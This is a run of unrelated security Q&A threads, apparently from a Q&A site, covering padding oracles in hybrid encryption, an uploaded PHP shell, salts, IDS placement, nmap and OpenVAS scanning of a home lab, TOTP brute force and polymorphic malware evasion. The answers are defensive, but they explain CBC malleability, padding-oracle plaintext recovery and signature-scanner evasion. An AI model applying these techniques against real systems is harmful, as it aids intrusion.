Is a padding oracle attack possible with randomly generated keys? In a project we collect data from devices in the field using a hybrid encryption scheme. When a device wants to send data it generates a random AES key (session key) and encrypts the payload with that. Then it uses an RSA public key to encrypt the session key and sends that encrypted session key along with the AES encrypted payload. On the server side we decrypt the session key (as we have the private key there) and then use the decrypted session key to decrypt the payload. The advantage of this is that you don't need a shared secret between the devices in the field and our server collecting the data.

Now during an audit it came up that we use AES/CBC/PKCS5Padding and that this is vulnerable to a padding oracle attack. From what I understand this attack works by sending manipulated packets to guess the AES key.

Given the scheme I described, I would argue that this attack is not really feasible here as every message has an own AES key and in addition we do not give any message back to the caller even if the packet could not be successfully decrypted.

Is that assumption correct or would we need move away from CBC?

If I understand your scheme correctly, it's this:

Client generates a random AES key and initialisation vector (IV).
Client encrypts that key with the RSA public key of your server, which it already possesses.
Client pads the message with PKCS#5 and encrypts it with AES-CBC using the IV + key they generated.
Client concatenates IV + encrypted key + ciphertext and sends it to the server.
Server receives the packet and splits it back out into IV + encrypted key + ciphertext.
Server decrypts the encrypted key using its RSA private key, but returns no error message if this fails.
Server uses the IV and decrypted key to decrypt the ciphertext, again using AES-CBC.
Server validates the PKCS#5 padding of the decryption and discards the message if the padding is not correct. No error is returned to the client.

If so, there are a number of problems here, mostly relating to malleability:

An attacker can pick a tweak T and replace the IV with IV ⊕ T, resulting in the first block of decrypted plaintext becoming M0 ⊕ T. This can be used along with known plaintext in order to spoof message contents.
An attacker can pick a tweak T and replace any ciphertext block Cn with it, resulting in Mn becoming corrupted and Mn+1 becoming Mn+1 ⊕ T. If an attacker knows that the data in Mn is not validated or not important for the purposes of the attack scenario, this can be used to spoof message contents via a known plaintext.
Even if you send back no error messages, there may be timing differences in your code that allow an attacker to distinguish (within a reasonable probability bound) between valid and invalid padding. This could be exploited in order to recover the plaintext of packets.

I recommend that you modify your scheme to the following:

Client generates a pair of random keys Ke and Km plus a random initialisation vector (IV).
Client concatenates Ke and Km together to make a combined key K.
Client encrypts K with the RSA public key to create the encrypted combined key K'.
Client pads and encrypts the plaintext message M with PKCS#5 and AES-CBC using Ke and the IV, resulting in ciphertext C, i.e. C = E(M, IV, Ke)
Client concatenates IV and K' and C to create an encrypted packet P.
Client computes H(P, Km) where H is a HMAC function, e.g. HMAC-SHA256, resulting in an authenticity record A.
Client concatenates P and A and sends this to the server.
Server extracts P and A from the packet.
Server splits P back into IV, K', and C.
Server decrypts K' with its RSA private key. If this step fails, the message is discarded. If not, the server now has the combined key K.
Server extracts Ke and Km from K.
Server validates that H(P, Km) == A. If this step fails, the message is discarded.
Server decrypts C using Ke and IV, i.e. M = D(C, IV, Ke), and validates the PKCS#5 padding. If the padding is invalid, the server discards the message.

The addition of an authenticity record ensures that an attacker cannot capture a message from the client, modify it, and re-send it to exploit a malleability attack or padding oracle issue. The idea is that an attacker could replace K' with their own value in order to know Km and forge messages, but in the process they'd also have to replace Ke which would result in invalid padding or completely garbled plaintext.


iDevAffiliate vulnerable to a file upload, how can we limit the damage? iDevAffiliate affiliate software provides affiliate program software to start affiliate tracking. It is protected by ioncube which makes it quite hard to audit the code for vulnerability.

It is the point of entry for an attack which culminated in a php shell being uploaded, reflected in HTTP logs.

Unfortunately I am not able to easily replace or disable the software. I am wondering if I can "brick" it so that it can be effectively "jailed" in place.

Can php applications be chrooted?

It shouldn't really matter if a user is able to upload a PHP shell; you shouldn't ever be executing user-uploaded files. That is, separate them out into an entirely different area than your code so that the webserver won't interpret them. You can do this with scoped config rules, depending on your webserver, but an even better approach is to put them directly onto a separate datastore (say, S3) and use a separate domain to serve them, either directly from that service or via a CDN as intermediary.


Why does saving a salt as plain text still improve security? I mean, for example you use salting to protect your password against a dictionary attack. But when I know that the salt from User X is jd38d83h8fh08h (because it is saved as plain text together with the password), I could use this salt with every word in my dictionary. Why is it safe to save a salt as plain text?

Salts aren't designed to protect against dictionary attacks.  The salt is used to prevent a pre-image or a rainbow attack in which large amount of passwords are pre-computed, and can be looked up almost immediately rather than weeks or months later.

Putting a large amount of random data before the password makes this impossible.

In addition, the salt protects against the same password having the same hash value, and forces the attacker to compute a new hash for all passwords rather than use the same hash for all passwords.


how to secure Android Market public key Android's security manual says that it is not safe to keep market public key just as a string and it should be hidden/encoded somehow. I am new to android Can somebody please provide me with example how it can be done?
I don`t know, but this would be quite common task related not to Android, but to other apps also.

This may sound mysterious, but once you understand the threat model that they're talking about, it all makes sense.  The web page you link to is talking about preventing people from hacking your app to bypass the in-app billing.

Example: Let's suppose you've built a fun game that people can play, by installing your app on their Android phones.  You use in-app billing to let people buy cool items that make the game more fun: "The Sword of Truth", or something like that.  Of course, a hacker could always try to make a copy of your .apk and modify it to change your code so that they get The Sword of Truth, without having to pay you for it.  You might not be very happy about that.  What can you do to protect yourself against that threat?

Well, the Android security manual tells what you can do to make that kind of hacking harder and thus protect your revenue stream.  The important thing to understand is: there is no strong defense.  In this situation, a dedicated and motivated attacker will always win.  The most you can hope for is to introduce a speedbump, to make it slightly harder for someone to hack your game.  The hope is that this will be enough to reduce (but not eliminate) hacking, and thus protect your revenue stream about as well as is reasonably possible.  That's what the web page you linked to is trying to help you do.

The Android web page you linked to actually explains this pretty well.  You've quoted selectively from it, but if you keep reading the nearby sentences, there is a good explanation: it says "The [public] key itself is not secret information, but you do not want to make it easy for a hacker or malicious user to replace the public key with another key."  It's true that they didn't explain why you might care about that; hopefully my explanation has made this clearer.

Also, at the very top, the web page says, "If practical, you should perform signature verification on a remote server and not on a device. Implementing the verification process on a server makes it difficult for attackers to break the verification process by reverse engineering your .apk file."  In general, this is the only way you can reliably defend against hacks that reverse-engineer and modify your game.

For more on the general topic of preventing hackers from cheating in online games, I highly recommend the following article (it is readable, insightful, still relevant today, and just all-around fantastic):

"How to Hurt the Hackers: The Scoop on Internet Cheating and How You Can Combat It".  Matthew Pritchard, Gamasutra, July 2000.


What is the best place to put my IDS network sensor? I can only place a single network sensor somewhere within my network. Would it be best placed between the border router and firewall, or between the firewall internal LAN?

It depends on what you want to do

If you want to see what threats are being aimed at your from the internet. You can put the IDS outside the firewall (assuming you've hardened it appropriately) and behind the router.
If you want to see what potentially malicious internal traffic you have inside your perimeter then monitoring from a point between the firewall and internal LAN is more appropriate.

Consider what traffic you want to examine, the find the relevant point in your network that the traffic HAS to flow through to get there.
Since Snort is a free IDS and hardware is fairly cheap, it may be possible for you to invest in more than one IDS.

I'd also recommend the following read from SANS about configuring and placing IDS's


scan forwarded ports with OpenVAS/GVM? I'm currently learning about network security and came across a problem, maybe I'm just missing something obvious but I'll try to explain my environment:
I have a Kali Linux VM connected to the WAN Interface (192.168.178.109) of a Pfsense VM, the PFsense has another LAN (.2.1) and DMZ (.1.1) interfaces with a few VMs connected to each Interface.
On the WAN Interface, I disabled all incoming traffic except some NAT rules for port forwarding to hosts in the DMZ (i hope i explained that correctly).
Now, if i run nmap -sV –open –reason PFSENSE_WAN_INTERFACE on my Kali VM it successfully scans the forwarded ports and shows the services in the DMZ:

PORT
STATE
SERVICE
REASON
VERSION

21/tcp
Open
ftp
Syn-ack ttl 127
Microsoft ftpd

25/tcp
Open
Smtp
Syn-ack ttl 63
Postfix smtpd

53/tcp
Open
Domain
Syn-ack ttl 64
(generic Dns response: REFUSED)

80/tcp
Open
http
Syn-ack ttl 63
Apache httpd 2.4.46 ((Ubuntu))

444/tcp
open
https
Syn-ack ttl 64
Nginx (Pfsense)

But if i try to do a vulnerability scan with GVM, it doesn't find anything. When I enable the allow any rule on the WAN Interface, the scan shows results, but i don't want to have the interface open.
Are there some settings in GVM I am missing? Am I doing it completely wrong?
Here is a Screenshot of the firewall settings of the WAN interface:

Here is a Screenshot of the GVM task:

Here is a Screenshot of the GVM task report:

Some advice would be gladly appreciated, and if neccessary, i can provide more information.

By default, OpenVAS will ping before it scans and it will ignore any system that doesn't respond to ping. This is to speed up the scan and avoid doing a full scan on a dead port.
Edit your scan target and change the Alive Test to Consider Alive. This tells OpenVAS that you always want to scan this target, even if it doesn't respond to ping.
This is the page where you change the Alive Test setting:


What personal traits and characteristics do you look for in a IT Security pro? IT Security Pros are very smart people who need to give your environment with the respect and care that the business requires.

Part 1

What are the traits you look for in an employee before approving them for sensitive access (root passwords, domain admin, etc)?
What warning signs do you look out for that may give you concern?

This person we're talking about can be anyone from an internal employee, an external auditor, or even a vendor /3rd party who you do business with.

Part 2

Does any of this change if the person in question has unique skills that no-one (including yourself) has, and may have the ability to outsmart any auditors that may be watching?

Employee security clearance is a major issue for organisations, and even more so in positions of sensitivity such as admin, root or super-user roles. My usual thumb, is to assume that these roles can do much more damage than a normal user so heavily protect your organisation from them. Traits may be the wrong word though - as many traits of highly skilled professionals are the same as highly skilled criminals.

In some countries this is easier than others, but basic security clearances include credit and criminal checks (if an individual is heavily in debt they become more amenable to persuasion from criminal elements, and a criminal history should rule out individuals for sensitive roles, especially if it was a crime associated with IT fraud.) Known associates should also be researched.

For highly sensitive roles, regular rechecks may be required. And an awareness of your employees behaviour could be a value add! Salaries should also be reviewed - underpaid roles are a straightforward target for bribery and corruption.

This doesn't really change if the individuals has unique skills, as underlying the roles should be an infrastructure which prevents misuse, for example restricting administrative rights to only those required should be a given. For most platforms, root or Administrator access is not required, so where relevant a Power User or lower should be used, and root should be restricted to emergency occasions - where it requires input from two individuals:

an example:

Database admins often demand full superuser rights, but this is almost never needed. There are many types of admin role which can be assigned as appropriate, and root can be a break-glass role which requires retrieval of a password from a safe, or from two individuals each holding half.

To summarise - yes, IT gurus are essential but dangerous; protect yourself from them with technical and procedural controls, research their background and use their skills to add value.


Why are USPS, the Washington Post, Oracle, and MailChimp blocking our home network from accessing their sites? The problem seems to be that our home network is being blocked from high-profile sites that have really good security measures in place. For example, when I go to the Washington Post's website I get this ambiguous message:

  Access Denied

  You don't have permission to access "http://www.washingtonpost.com/" on this server.

  Reference #18.7962317.1542307718.51d6f537

I experience similar behaviors when I also visit USPS.com, any email links originating from MailChimp servers, and most recently we've discovered that Oracle.com give us this equally ambiguous message:

  This site http://www.oracle.com/ is experiencing technical difficulty. We are aware of the issue and are working as quick as possible to correct the issue.

  We apologize for any inconvenience this may have caused.

  To speak with an Oracle sales representative: 1.800.ORACLE1.

  To contact Oracle Corporate Headquarters from anywhere in the world: >1.650.506.7000.

  To get technical support in the United States: 1.800.633.0738.

  Incident Number: 18.4c962317.1542307950.e2847c1

So the legwork that I've done so far in trying to trouble shoot this is as follows:

On my NetGear Router, there is an option to change the default MAC address for the router to copy/use my computer's MAC address. When I apply this change to the router, everything opens back up for about a day, and then by the next day the blockage has returned. When I revert back to the router's default MAC address, the issue remains.

I'm suspecting that this may have something to do with the family computer that is connected via Ethernet -- that there might be a virus or something else that is compromising the integrity of the network for everyone, but I cannot tell for sure.

When I do an IP Address blacklist check, the only negative result is from http://dnsbl.spfbl.net/en/45.59.88.92, which this is our IP address by the way. I don't think this is an IP address issue, but I'm really confused by what's going on. I'm not sure what to do for next step, as most Google searches derail me into  a different direction.

Oh, I have another son who's using a VPN and he says that he is experiencing the same behavior on his computer as well.

My phone has the same issues when connecting through the local network. However when I switch my phone to connect via data, using the cell towers, the issue goes away. So it seems pretty obvious that somehow our local network has been blacklisted, but how do I assess this and find a cause/fix?

I've got a NetGear R6250 router. I'm web developer, but not much of a network guy. Thanks for your help!

All of these sites are behind the Akamai CDN. The message and code indicates that your cite was blocked by Akamai. As for why Akamai might have done this see Why is Akamai blocking me?. Notably it might block an IP address if this IP was the source of potential malicious activity, like attempts to attack sites protected by Akamai (SQL injection, ...), web scraping, vulnerability scanning etc.

I recommend to check if any of such activity might have been purposefully originated from your network or if there is some infected system which (for example as part of a botnet) was misused by an outside attacker for such activity.

Akamai also provides a tool to check your IP address: Client Reputation Overview. Maybe you can get more information about the cause of blocking there.

  When I apply this change to the router, everything opens back up for about a day, and then by the next day the blockage has returned. When I revert back to the router's default MAC address, the issue remains.

Given that the MAC address of your router visible to your ISP my only explanation for this behavior is that you automatically get assigned a new external IP address when the MAC changes. Given that this only works for a limited time it is likely that the issue causing the blocking is an ongoing problem in your network.


Software Library Vulnerability Tracking I'm looking to improve the security posture of a web app specifically with respect to OWASP A9 - Using Components with Known Vulnerabilities.

Is anyone aware of any comprehensive data sources aside from the NVD/CVE DB that I might use instead of relying on each library's vendor/author? The NVD is far from comprehensive, and manually searching each site is tedious, so I'm hoping to find some better method (not product or service) to approach this.

I did something similar a while back to ensure we were keeping up with security updates. It's all manual, though: I can't help you automate it but I can tell you how long it took me and give an example of what I ended up using.

The initial setup took a couple days (we use > 75 libraries), and since then it's just been an hour or less per week to maintain it (not counting the time to actually update the libraries we use). I ended up with a matrix in a spreadsheet, with a row for each library we used. Then the columns were:

version we use
last version I checked
NEWS file (any issues I identified from scanning the NEWS or other readme files provided by the library)
CVEs (known to exist in our version)
latest version available from our vendor (we don't pull directly from upstream)
status, which says "OK" if NEWS and CVEs are empty and latest-version-checked matches latest-version-available, or I manually set it to some other status like "needs future fix" or whatever is appropriate
notes

I filled out the table with our libraries and their versions, then downloaded the full CVE database in text format and used a good text editor to search it for each of our applications. If there were any CVEs for our libraries I listed them in the CVE column and added notes about the version where they were fixed and/or why they applied to us (or in the case of some well-known CVEs, why they didn't).

I also skimmed the NEWS files for most of the libraries that had newer versions available than what we were using, though I gave up on that after a while when it didn't yield anything useful that wasn't already captured in a CVE.

Then I subscribed to an RSS feed of newly-categorized CVEs. It's fairly low-volume, though bursty, so when new CVEs come in I quickly scan them for issues and update my spreadsheet if there's anything that applies to us.

I also made a cron job to scan a different list of newly-filed CVEs, but that didn't seem to add any value beyond what the NVD RSS feed provided.


How trustworthy is `sudo apt-get install (package name)` in Ubuntu? One of the easy ways to install a program in Ubuntu Linux is to type a command in the terminal, but how do I know that the program is coming from a trusted source and not from somewhere dangerous?  For example, if I was installing ClamAV, how do I know ClamAV came from www.clamav.net or somewhere safe and not from a malicious source?  I mean, a hacker can do something to redirect the command to make it get the software from a fake site, correct?

As with many well-designed systems, the package system of Debian has defense in depth: multiple layers, each of which can be verified.

How do we trust the package file is what the system promises? The hash value is computed and compared against the stored value.
How do we trust the hash value isn't accidentally matching some other file? Multiple hash algorithms are used, and only if all those match the stored values do we trust the content actually matches.
How do we trust the stored values are meant for the package file we downloaded? The hash values are downloaded in a separate file (the various Packages.* files) pre-computed automatically by the archive system.
How do we trust the downloaded Packages.* files are what is promised by the system? The hash value for each file is stored in a single Release file for the whole archive.
How do we trust that the Release file is what is promised by the system? The cryptographic signature is computed, and compared against the separately-downloaded pre-computed signature from the archive.
How do we trust the signatures stored in the archive are actually from the archive we expected? It is certified by an archive key which we can fetch independently from a separate URL, and is installed in the initial set-up of the operating system.

And so on. At some point in the chain you have to trust some part of (and party in) the system, on less-than-ideal evidence.

With the above layers, the low-evidence trust window can be kept small and easily-scrutinised. The one-way hashes, and cryptographic signatures, allow us to trust the mathematics to certify what follows in sequence.

The Debian wiki has a good, comprehensive description of how the APT system is secured.

Of course, many other things can go wrong by mistake or malice, and violate our assumptions about what is actually happening. As usual, the only persistent defense against possible attacks is: eternal vigilance.


What are the advantages of a ZKP authentication system? So, I read somewhere that Zero Knowledge Proof based authentication is good because it makes sure that the server does not store your password and neither is your password being transmitted over the 'insecure' network.

However, all the implementations that I have come across involve the server storing some function of the password (a hash/ a graph using some permutation based on the password/ a EC point generated using the password). How does that help? AFAIK traditional systems too store the hash of the password and any rainbow table/ dictionary attack on traditional systems should also be similarly applicable for ZKP authentication servers. Where is the additional security in this case?

The additional security gained, is that a attacker cannot pass a previously obtained hash, to authenticate, and in same way, a complete transaction at the site cannot be replayed.

Transmitting the hash of password over the wire is as bad as passing the password itself, as the hash then becomes the password itself, which would allow a attacker to authenticate anyways.

In other words, ZKP adds challenge-response security to a password based protocol. However, ZKP is still vulnerable to client-side attacks such as keyloggers, malware and such, why the optimal is to instead use some sort of 2FA authentication, for example a challenge-response token.


How should I diagnose a macintosh laptop running OS X Lion 10.7.5 automatically booting at 12:00:09 sharp every night? Using the "Console" app within OS X and viewing the "syslog" file I can see the user shutdown their laptop (it was a HALT operation) around 10:22PM.  For some reason, 9 seconds after midnight (12:00:09) the machine would boot up on its own.  I looked through the log files to see if it was doing something suspicious.  I saw the launch process followed by an mDnsResponder process, followed by a process trying to connect to the wifi network, followed by iCal, MobileMe, processes trying to perform a synchronization.  Nothing really looked like it was doing something bad.

But why would the computer be starting up on it's own every night at exactly the same time?

Are there any good apps out there I can use to see if the machine has been hacked?

Is there a way I can temporarily "harden" the machine to see if the behavior disappears?

What are good command line utilities I can use to gather all / any information?

I saw the launch process followed by an mDnsResponder process, followed by a process trying to connect to the wifi network, followed by iCal, MobileMe, processes trying to perform a synchronization.

There you have it. The machine was probably calling home to update the various applications whose data reside in Apple's cloud somewhere. I really doubt it's anything malicious.

If you are really worried, start up wireshark and monitor the network traffic during that time.


Profiling hackers with keystroke dynamics I am writing a research paper on tracking hackers and how to include keystroke timings to create a profile of hackers.

I want to combine the keystroke timings that I capture in ttylog with other data from sessions, like IP address, type of attack, any 1337-speak used, or anything else I see that makes a person/session unique.

I need to get some real world data to work with. Do you know where I can get data of real world attacks?

I have Kippo running which is great for getting keystrokes and the timings related to each keystroke.

Your idea of fingerprinting is very similar to wireless signals intelligence in WWII. Both sides used to have whole departments whose role was to learn the code style, or "fist" of the opposing side's wireless operators. By tracking these profiles and using radio direction finding they gained a surprising amount of information about troop and vessel movements, staff assignments, etc.

You're thinking of doing the same thing, learning the nuances of how particular crackers operate. Thinks like typing cadence, frequently repeated typing mistakes, etc could be used to learn a particular cracker's "fist". I think this is a good idea in some ways, but maybe not good enough to pursue:

Most attacks are scripted. Even when a top cracker is doing the hacking it's usually scripted before and after a successful exploit, so you'll have to wade through hundreds of attacks to find one fingerprinting opportunity
Data sources: you'll have a hard time gaining enough data to do any actual fingerprinting. The number of data sources you would need is far more than a simple research project, you'd need a dozen honeypots at least, and a very large database of information to work off of, with some complex modeling to interpret the data
Network latency and jitter are common on the internet, especially when traffic is coming from areas with poor internet connectivity. These areas will happen to be the source of many attacks, so your results could end up being skewed significantly. Is that pause followed by a flurry of typing the hacker's style, or simply network lag?
Verifiability of results: How can you prove your fingerprinting methods are in any way successful? How will you show that the patterns you find actually demonstrate a single attacker? They aren't going to come out and say, "yeah, that was me!"

My suggestion is to try this small-scale where you can control some of the factors. Get many volunteers (plus some scripts) to follow set scripts of commands in a terminal window and see if you can write algorithms that can reliably determine they typist. Then introduce packet latency and jitter to see if your algorithms can cope, and work on that.  Once you have that working you could then go out to the internet and see if they work in the wild, otherwise you won't have any idea as to reliability.


Revoke decryption capability I'm looking for a way to encrypt some data in such a way that I can later revoke a single person's ability to decrypt it.

We have a store of database backups that are currently encrypted using GPG. However to decrypt them the team need the single private key.

Instead, I'm wondering if there's a way to give everyone the ability to decrypt using their own key, but be able to later revoke a single decryption key while still allowing everyone else the ability to still decrypt.

The only option I can think of is to either create a backup per key and then delete the ones for the key I want to revoke. But that means storing a LOT more data than I care to.

The only way to easily accomplish this is to not allow the user to decrypt the file themselves.  If you build a system that will handle the decryption and never give the user the actual decryption key, then you can give each user a key that the application uses to decrypt the key used to protect the shared data.

To remove a user, you simply delete the copy of the shared key that is encrypted with their user key.  The entire security of such a system depends on their inability to ever actually get at the key used to encrypt the shared data.  If they get that key, then it is impossible to prevent them from opening the encrypted file anytime they choose.


TOTP brute force prevention Lets use Google Authenticator as example. A 6 digit code is generated every 30 second. Each random attempt has 1/1,000,000 chance of success.

Server will usually accept code of ±30s which increased the chance of each attempt to 3/1,000,000

If the attacker tries one code every min for 200 days then he/she will have 92.5% chance of breaking the system.

What are some counter measures that big companies like Google/Amazon/Facebook/Twitter/Microsoft use to mitigate this issue?

Consecutive failures on an account since last success should be a red flag.

Increasing lockout time for attempts from devices new to that user might have value.

If the account is consistently being rejected at the 2nd factor then you can presume that the password has been compromised and reach out to the user.

In any case, pay attention to consecutive failures.


Reading physical memory frame previously owned by another process to read contents of its memory page I had a conversation with @anger32 who states that zeroing a physical memory page frame when passing the page backed by that frame to another process is not the responsibility of OSes like Windows and Linux (though they do that, they don't guarantee that this will happen), but a responsibility of OSes with a certificate allowing it to work with classified information.

Is it possible to make the following attack on another (maybe more privileged) process?

map enough memory pages and start consuming enough CPU time to prevent zeroing thread, which has the lowest priority (at least on Windows), from getting CPU time.
another process places sensitive data into memory
context switch occurs
we ask the OS for a memory page, OS evicts that process' page and gives us the new page backed by the same page frame without zeroing it.
we scan the page for secrets.

He also states that there are ways to read another process' memory messing with mmap, its flags and physical addresses on Linux. Do you know any? Is it really possible to get another process' memory on Linux, for example memory of the process of another user or SELinux domain? If they are it looks like a very dangerous vulnerability.

I was curious of this myself once, and wrote a small program under linux that malloc'ed all available memory and dumped it to disk.

It turned out that it was all zeroed out before it was handed to my application.

Later, I also checked the kernel code, and could confirm it was the kernel who did it.

--

I think it makes perfectly sense that it is the OS responsibility to make sure old data is not made available to another process. Where else would you implement such a security measure?

Edit:

I do not remember if I tested against SWAP memory. Due to the disk IO required to zero out allocated disk space (memory), it might be implemented differently.


How to prove that a file was not created in advance Sometimes we need to prove that a file was not created in advance - a good example is warrant canaries. The person releasing them may have been forced to sign the file with a future timestamp. For example, AutoCanary uses recent news headlines which is a very secure method, assuming the adversary can't predict future (or obviously manipulate the source of these headlines).

Question: What are other secure ways to prove that a file was not created in advance?

If all parties can trust a common randomness beacon (like the NIST Randomness Beacon), this can be achieved by including a recent block from the beacon into the file along with its timestamp.  The recipients then, in addition to verifying the signature, must also verify that the beacon data is authentic and as recent as they require.

Other public random values might also do the trick, for example, the winning numbers of a well-publicized lottery.  But care needs to be exercised however that the items chosen have sufficient entropy.  For example, if you just pick the closing value of the Dow Jones Industrial Average, that's been a 6- or 7-digit value for decades, so an attacker could just force you to precompute signatures for all likely future values of the index.  The closing values of a list of stocks that all participants agree on beforehand might do the trick, though I'd want to do some calculations first to convince myself that the list has sufficient entropy.


Can signature-based Antivirus detect encrypted malware? How effective signature-based Antivirus is, in detecting encrypted malware?

Signature-based antivirus detectors do not fare well against polymorphic or metamorphic encrypted viruses.  The viruses generate a random encryption key for each new infection, so the bulk of the virus is always different.  For the decryption routine itself (a fraction of the overall virus), they generate new equivalent code every time they propagate.  In machine language, especially on a complex processor, there are many instructions that will accomplish identical tasks:  for example, both MOV AX,0 and XOR AX,AX will achieve the result of placing a zero in the AX register.  The routine can change which registers it will use - this time it uses AX for a counter, the next it uses DX.  It can reorder the instructions.  And it can pad the routine with a lot of randomly placed NOPs and other non-essential instructions.

All these can thwart a virus scanner, which is based on scanning for a specific sequence of bytes.

A heuristic virus scanner can look for other signs of virus activity, such as code that is writing code - that's not normally something a home or office user would do.  And the NX bit can enable Data Execution Prevention (DEP), which is a CPU flag that prevents a machine from executing self-modifying code.  Of course, a self-compressed executable falls under this description, so it's also not a perfect solution.


Is full disk encryption per disk or per partition? This is mostly a general question about full disk encryption, but I have bitlocker in mind.

What does it mean when people say full disk encryption? Because I imagined that it literally encrypts the whole physical disk, which requires a pre-boot decryption for it to work. I got confused because when I was about to turn on bitlocker, I had turn it on for each logical partition, C:\, D:\, E:\, instead of the whole disk at once. Does it mean it's not a full disk encryption then?
From a security point of view, is there a difference between full disk encryption and encrypting per partition?
(Terminology question) Is there a difference between full disk encryption and full drive encryption? e.g. disk refers to the physical item and drive the logical partition?

to me, "full" means "all of it".  I believe that BitLocker uses TPM on your device to encrypt the drive/partitions.  If you don't have all logical partitions encrypted, then to me the entire disk is not protected.
Encryption is encryption in a case where TPM is used to decrypt or access the disk/partition. I'd suggest encrypting the whole thing - if there's any data you don't want lost/compromised in the event of theft, encrypting it with TPM is the way to go.  You might take a small performance hit with making partitions accessible vs the whole drive, but that happens during the boot sequence.  Ideally you'd use a means of encrypting a volume that requires a preboot sequence/authorization - that will make the casual bad guy work harder than using encryption not requiring preboot authentication.
To me, the disk is the physical volume.  The drive is either the partition or mount point or remote storage and is a logical volume.  ie you have one hard drive, which is a disk and you partition it into volumes and label those c: and d: (or whatever).  In that case, full disk encryption would encrypt the physical disk and full drive encryption would encrypt the logical volume.


How long should a shared link (token in the URL) be? Suppose we have a web service operation like:

GetComments(encryptedDiscussionID) // returns list of comments

Where encryptedDiscussionID is the encrypted version of the actual discussionID in the database. The encryption is done on the server using a key which is private to the server.

The client has already been sent the encryptedDiscussionID.

My question is: How 'long' should the encryptedDiscussionID be, to ensure it is secure / not guessable?

That depends on how many guesses you will allow and what the chance of someone succeeding in guessing a valid encryptedDiscussionID can be. Also you need to take into account how many of such discussionIDs you will have.

If you have 1000 of these IDs and you have 10 000 possible discussion IDs it will only take on average 10 attempts to guess such an ID.

If you take alphanumeric encryptedDiscussionIDs the amount of possible IDs is equal to 26^length.

So if you take discussionIDs with a length of 10 characters you will have 1,41*10^12 possible IDs. If you have 1000 valid IDs in you database then it will take on average 1,41*10^9 attempts to guess a valid ID. I'm guessing you would be able to detect such an amount of attempts. But since adding extra characters to the encryptedDiscussionID I would make it even longer.

If you can provide more details it's possible to give a more detailed anwser.

How are you doing the server-side lookup of these encryptedDiscussionIDs. I assume you don't calculate these every time someone issues a query? Do you store them as well?

Don't forget that if someone can see (-> passive network attacker, sniffing) these encryptedDiscussionIDs on the network he will still be able to view the list of comments.


I want to start learning fuzzing windows applications, where should I start? I got my B.Sc. in computer science and I am familiar with basic assembly language. I want to start learning about how to find vulnerabilities in Windows applications, e.g. buffer overflows, use-after-free, etc. I am looking for a path, i.e., materials for learning basics and then more advanced sources to learn from. Any help is appreciated.

The approaches and techniques in the book Windows Stack Exploitation: Bypass Protection are straightforward and well-grounded.

While the book's examples use Sulley, I recommend that you also look at FuzzLabs as an introductory Windows-app fuzz-testing suite. The most-advanced fuzz-testing suite is Driller, which I believe will be released at the DARPA Cyber Grand Challenge in Aug 2016 -- but there are many other valid techniques.

Using the qemu-user framework with pwndbg can allow quick prototyping and execution of Windows executables under a classic Linux environment. The binary.ninja framework is a commercial solution that many are talking about as the next-generation of exploitation development. However, binja is geared towards exploit dev using binary analysis techniques -- still very-valid -- and I recommend some older books such as Identifying Malicious Code Through Reverse Engineering or even The Software Vulnerability Guide.


Random padding in hash functions In this answer, it was recommended that you add random padding when hashing messages for a trusted timestamp, such as for predictions, in order to avoid dictionary and brute force attacks (at least when the message itself doesn’t have much entropy, as in the example in the question).

The answer briefly says that 80 bits of entropy (at most 16 printable characters) should be enough to stop any attacker. Is there anywhere I can find more information about this? Most of the information I’m able to find is about hashing passwords, which isn’t particularly applicable (you need to be able to verify the password without having the user remember 80 bits of information, so analyses of random salts don’t particularly apply in this case, and bcrypt is overkill when you can use random padding).

I think 80 bits is just a reference to the general lower limit of what's considered computationally infeasible to brute force.

From wiki:

  In 2002, distributed.net cracked a 64-bit key in 4 years, 9 months,
  and 23 days.

  As of October 12, 2011, distributed.net estimates that cracking a
  72-bit key using current hardware will take about 45,579 days or 124.8
  years.

Alternatively, by my calculations using the hashcat benchmarks it would take about 3 million years to brute force 80 bits using SHA256 on their "PC4".

  how much it’s expected to grow with time

It would be the same as brute forcing any other random value, however in the case of predictions it's also relevant how long that prediction is likely to be of value to an attacker.

80 bits is probably excessive if your prediction is about something that happens next week, about 54 bits would keep an attacker busy until then.


Is it safe to store a passphrase encrypted SSH key in git? I have a bunch of servers that need to access somewhat sensitive data (passwords for ftps, api keys, etc).  Currently I copy a plaintext file back-and-forth between the servers via ssh and encrypt all the keys based on the server's private ssh key, but I'm looking for a more robust solution that a) other people can do and b) doesn't require as much manual work.  What I'm thinking, and would like feedback on:

Create a shared private key, protected with a strong passphrase
Encrypt all necessary passwords with this key, store those keys in a config file
When a new server is brought up, copy the ssh key, remove the passphrase

Any issues with this?  The passphrase-encrypted private key will be "publicly" accessible, that is to everyone in the company.

Read up on Kerberos and develop a strategy to deploy Kerberos at your company.

ssh has Kerberos integration via the GSSAPI (you may need to rebuilt ssh.)

Kerberos will solve your key management problems and its APIs should dove tail into your own APIs.

Why do I suggest going down the Keberos path?

Because many of the activities you are doing sound exactly like problems that Kerberos has already solved (strong passphase, key management, etc.)

Kerberos is the more robust solution that you seek.


Do I need to associate my backend API server with a domain name to get an SSL certificate for it (HTTPS)? I have developed my DRF back-end API locally, deployed it on an AWS Lightsail instance (with a public static IP) and I now want to secure it with HTTPS.
I understand that in order to use Let's Encrypt (and not pay for an SSL certificate), I have to have a domain name associated to my instance IP since Let's Encrypt doesn't provide certificates for public IPs. As this is my back-end API (and not just a website), I don't intend to buy a domain specifically for this.

Can I, somehow, associate my Lightsail IP with another domain that I've already purchased (and is used to host my company's landing page)? If yes, will there be any impact on my API's performance?

Is there any other alternative to obtain an SSL? (Apart from paying another CA to issue this for my public IP?)

It seems that it's not possible obtain a certificate from Lets Encrypt for a public IP address, without a domain name.  See https://community.letsencrypt.org/t/certificate-for-public-ip-without-domain-name/6082.
Notwithstanding, are you sure you really want to ask users of your API to access it by its public IP?  If you ever need to move your API to a different server, this will require all of the users of your API to change their systems that call your API, to replace the old IP with the new one.  This will undoubtedly frustrate your users, and it will cause the migration to take much longer.  Using a FQDN (e.g. api.yourdomain.tld) will make this process much more agile if you ever have to change servers - just update the A record of your FQDN, and your're done with it - without your users having to do anything.  And, you can get a cert from LE.


Is it security risk to host CS:GO server on my PC? I have quite good hardware in my PC and an optic fiber connection. I opened a CS:GO (Counter Strike Global Offensive) server on it, and made it public. The IP for connecting to this server is my public IP address.

I set a strong password to the router admin (24+ characters), and I made sure that I have no risky/unwanted ports open. So in short, except for DDoS attacks, is this setup risky in any way?

The biggest risk is probably a 0-day or simply an unpatched vulnerability in the server software of CS:GO.

